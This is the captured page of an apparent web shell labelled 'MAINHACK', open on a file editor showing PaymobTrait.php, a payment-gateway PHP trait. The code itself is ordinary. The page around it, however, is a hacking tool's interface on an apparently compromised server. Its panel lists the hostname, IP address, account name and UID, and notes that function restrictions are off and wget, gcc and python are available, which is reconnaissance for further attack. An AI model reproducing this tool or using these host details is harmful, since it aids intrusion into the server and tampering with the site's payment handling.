[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymobTrait.php
<?php namespace App\PaymentChannels\Drivers\Paymob; trait PaymobTrait { public function AuthenticationRequest() { $userInfo = [ 'username' => $this->username, 'password' => $this->password, ]; $postData = json_encode($userInfo); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://accept.paymobsolutions.com/api/auth/tokens'); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json' )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_HEADER, 0); $response = curl_exec($ch); if ($response === false) { echo curl_error($ch); } curl_close($ch); return json_decode($response); } public function OrderRegistrationAPI(array $requestData) { $postData = json_encode($requestData); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://accept.paymobsolutions.com/api/ecommerce/orders'); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json' )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_HEADER, 0); $response = curl_exec($ch); if ($response === false) { echo curl_error($ch); } curl_close($ch); return json_decode($response); } public function PaymentKeyRequest($requestData) { $requestData['expiration'] = 3600; $requestData['integration_id'] = $this->integration_id; $postData = json_encode($requestData); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://accept.paymobsolutions.com/api/acceptance/payment_keys'); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json' )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_HEADER, 0); $response = curl_exec($ch); if ($response === false) { echo curl_error($ch); } curl_close($ch); return json_decode($response); } public function calcHMAC($request) { $values = $request->only([ 'amount_cents', 'created_at', 'currency', 'error_occured', 'has_parent_transaction', 'id', 'integration_id', 'is_3d_secure', 'is_auth', 'is_capture', 'is_refunded', 'is_standalone_payment', 'is_voided', 'order', 'owner', 'pending', 'source_data_pan', 'source_data_sub_type', 'source_data_type', 'success' ]); foreach ($values as &$val) { if (is_array($val)) { $val = array_values($val); $val = implode($val); } if ($val === true) $val = "true"; if ($val === false) $val = "false"; } $concatenate = implode($values); $hash = hash_hmac('sha512', $concatenate, $this->HMAC); return $hash; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285